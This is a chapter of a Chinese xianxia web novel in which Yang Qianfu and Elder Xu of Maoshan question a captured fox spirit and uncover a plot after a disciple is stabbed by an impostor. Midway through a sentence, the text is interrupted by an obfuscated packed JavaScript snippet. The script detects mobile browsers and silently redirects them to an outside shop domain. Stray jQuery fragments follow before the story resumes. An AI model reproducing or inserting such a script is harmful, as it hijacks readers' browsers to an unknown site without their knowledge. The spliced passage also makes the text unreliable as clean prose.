杨千福往院门探头一看,却没看见别人,心中疑惑。不是说掌门在会客吗?他也没看见有人出来啊。
许老真人却像是会读心术一样哼了一声:“把那只鬼狐狸提上进来,不来算了。”
杨千福连忙拎起瘫在地上一动不动的紫毛狐狸,往许老真人住的小院跑去。
进了内室,杨千福与许老真人隔着一块桌案坐下,接过对面递过来的缚妖绳一边捆狐狸一边道:“真人,你可知那国师来茅山是别有居心?”
“你们都知道了,我还能不知道?”许老真人一指桌上,眉头狠狠竖起,显然被气得不轻:“这些小东西敢在茅山班门弄斧,是不是有点太不把我放在眼里了?”
杨千福顺着他指示看去,就看见桌上摆着一个缠着红线的稻草人,隐隐约约冒着黑气。透过气息,他辨认出这东西与国师有关。
看来是借着替身逃了,也难怪许老真人会气成这样。
杨千福道:“不知他们还在山上留了什么手段,刚才莫归一说大殿那边有情况,已经赶过去了……这些人是冲着我们来的,不该牵连茅山其他人,恐怕等不到今夜了,长老可有别的什么办法将阙道长所在的洞窟禁制打开?”
“办法也不是没有,只是费事。还有,你怎知道他们只是冲着你们来的?”
许老真人捋着胡须,看上去话中有话。
杨千福以为许老真人不信,便解释道:“您也看得出来我如今的情况,那国师是冲着我们身上的神器来的。”
“为何只夺你们手里的神器呢?茅山,龙虎山,青城山……这么多山头哪一处没有镇山的法宝?就说我茅山的上清拂尘,可不比莫小友的三钴剑差。”
许老真人不屑的笑了笑:“你们没有势力倚仗,所以才被明目张胆的盯上。可他如今针对你们却是因为你们拦了他们的路。”
杨千福不在乎许老真人的语气,他连忙道:“既然真人明白就好办了,那洞窟要如何开启?我即刻就去想办法唤醒阙道长……”
许老真人一拍桌面打断道:“愚钝!既然你们拦得了他们,我们也拦得了,从一开始他的目标就不只是你们,而是茅山,乃至天下玄门。”
杨千福缩了缩脖子,恍惚中他有种错觉,此时的许老真人像学堂中脾气最爆的先生,而他就是那个不成器的学生。
有点理解许平为何会养成这么个性格了。
“你明白了吗?如今最不能打开的就是那洞窟的禁制,因为上清拂尘就在我那孽徒手中,他在洞中才是最安全的。山中不知混入了多少这样的狐鬼,就连我也无法一一分辨。”
说着,许老真人叹息一声:“前些日子我就去信提醒其它道门,可信还没送到就先收到了他们同样的来信,大战在即,大家都是自顾不暇。”
面对这样紧张的氛围,杨千福一时间不知该不该问出自己的问题,犹豫再三他还是举手提问:“狐鬼是什么妖怪?从前没见过这样的……”
被无语的噎了一下,许老真人面无表情道:“就是死掉的狐狸鬼,一般会被召唤出来解答他人疑惑,但你手上这只明显是被人所拘受人驱役。”
杨千福点了点头,抓着狐狸尾巴把这只狐鬼倒吊着晃了晃:“别装死了,坦白从宽抗拒从严,把你们老大的计划讲清楚,饶你不死。”
紫毛狐狸还是闭着眼没有反应,杨千福的拳头轻轻在他肚皮上一按,又道:“那没办法了,我还挺好奇已经死过一次的妖怪还能不能再死一次……”
“别打了,我说!”
狐鬼的眼角挤出两滴泪,忍辱负重道:“我的任务只是把你骗到大人面前,我们每个的任务都不一样,我也不知道其他人要去做什么……”
杨千福微笑的盯着狐狸眼睛:“只有这些?”
对面的许老真人倒了杯茶吹了吹,手上一使劲,茶杯盖便碎成一桌粉末。
狐鬼这次真吓哭了,他剧烈的挣扎起来:“说多了我会被那位大人折磨死的,我真的不能再说了。”
“我只问你一句话,你点头或者摇头。”杨千福无比认真道:“在这里,不止你一个扮成他了对吧?”
犹豫几秒,狐鬼点了点头。
杨千福心中一沉,他大约猜到几分国师的计划了,搞不好他是要趁这个机会借刀杀人,一箭双雕。
就在此时,门外忽然跑来一个传话的道童:“大事不好了掌门!洛延山来的那个人刺了许平师兄一剑,现在师兄快不行了!”
一进门,道童与杨千福四目相对,脸上顿时尴尬起来。
许老真人蹭的站了起来,都顾不上杨千福还坐在对面,立刻面色铁青的走出门。
杨千福的面色也变得十分难看,没想到这么快他的猜想就被验证了。
他紧随其后,跟着许老真人往外走去。
一路走到茅山的弟子居所,只见在门前站着几个眼熟的道童,仔细看去,杨千福发现这居然是昨天对他们出言嘲讽的甲乙丙三人。
看掌门来了,道童们纷纷让出一条道将掌门迎了进去,可轮到杨千福要进门时他们却重新挡在门口。
“我们亲眼看见和你一起来的那人伤了许平,你对此要作何解释?”
道童寸步不让,杨千福也停下脚步,举起手里装死的狐鬼道:“那是这些东西幻化的,不可能是他本人。”
这些道童却并没有放松警惕:“你如何证明?如今许平师兄生死未卜,我们可不敢让一个外人进去看他。”
杨千福不解了,明明之前这些人和许平那么不对付,怎的这会就转性了。
就在他们争论不休时,许老真人在房中道:“行了,让他进来吧”
“掌门!”
道童们不可置信的朝房中看去,坐在许平床边的许老真人弯着腰,好像一瞬间苍老了许多。
“其中的确有误会,如今山上已经不安全了,你们不要随意出这个门。”说着许老真人又道:“我去去就回,此处有我留下的屏障,劳烦杨小友替我看着这些孩子……”
说着,许老真人对着杨千福耳语几句,将一沓东西塞在他手中。
杨千福微微挑眉,看许老真人步履蹒跚转身就要走出大门,他连忙劝道:“真人留步,如今形势不明,你一人出去太危险了。”
许老真人没有回头,他背着手站在门口:“危险?茅山之内,何人能让我危险。”
说罢,他便一甩袖袍踏过了门槛。
“掌门果然要去给这个废物报仇……”看着自家掌门离去的背影
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571113|202570||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,道童小甲不甘心的捏起衣摆。
此时急也没用,杨千福索性观察起了许平的状态。腹部的伤口已经包扎好了,但渗出的已经干涸的血迹隐隐勾勒出一道贯穿剑伤。
剑锋的尺寸太短,这绝不是三钴剑造成的伤口。
放下心后,杨千福转头朝这些道童问道:“既然这么讨厌他,为什么要救他回来?”
“我们为何要告诉你!”
“不说算了。”
杨千福好像真的是随口一问,确定许平已经没有大碍,他便坐在一旁给自己沏了杯茶。
安静了片片刻,道童小乙忍不住开口了。
“……我们只是想赶他走,从没想过要他死。”
刚刚说出口,他就被小甲瞪了一眼。
打了个颤,小乙却还是忍不住问道:“这位……这位杨师兄,如今到底是什么情况,发生了什么?”
杨千福:“你们先告诉我那个冒牌货是怎么伤的许平,你们是从哪把他带回来的?”
这么一通下来这些道童知道杨千福不是个软柿子,不敢隐瞒,就挑着好听的讲:“当时在大殿前有个老人中邪了,我们解决不了,那个姓莫的过来扎了几根针把人治好了……”
“用针?”杨千福忽然变得很是严肃,反复确认了一遍:“他用的是针?”
“对,之后他说有事要带着许平走,我们想抓点什么把柄,就悄悄跟在后面跟了一路。他们是往阙长老的居所走的,但是到了门口时许平忽然被刺了一剑,之后那个人进了闲人居。”
听完这些后杨千福看了一眼手里拎着的狐鬼,虽然还在装死,但他的耳朵却动了一动。
不对,去杀许平的或许不是普通的狐鬼,既然用针,那很可能是国师或者杜子翀。杀许平应该只是顺手,真正目的是找到上清拂尘的下落?也可能是想顺势除去碍事的阙琼山。
不论是谁都不可能发现不了这几个尾随的道童,这个人是故意要放他们回来,目的无疑是给莫归一泼脏水。
当务之急是在月出之前先一步将阙琼山保护起来,这一点许老真人也该想到了。
杨千福心念千回百转,但却总觉得他疏漏了什么重要的细节。
等等,那真正的莫归一去哪了?
“你们从那条小径过来经过顶宫时没有看见莫归一?”
道童皆摇头,那时已经到了关门的时间,别说莫归一,他们连香客都没看见一个。
“怪了。”杨千福低着头,忽然意识到这三人正看着自己欲言又止,就简单解释了几句:“山上有很多人被狐鬼顶替了,国师要在山上害人,就这样。”
小乙不解问道:“那国师要害的是许平,就因为许平得罪了他徒弟?”
“杀一个许平有什么用。”杨千福懒得给他们详细分析利害,但在心中过了一遍这句话后他却一愣。
他们只知道国师想杀莫归一,或许还会顺带去杀阙琼山,知道力量不足,所以对方选择分散他们逐个击破。
如此大动干戈,他们绝对不只是想杀几个人……真正的目的甚至有可能是用莫归一的名头屠山,若要达成这一目的,首先要解决的就是茅山掌门。
许平只是他们放回来的诱饵,许老真人危险了!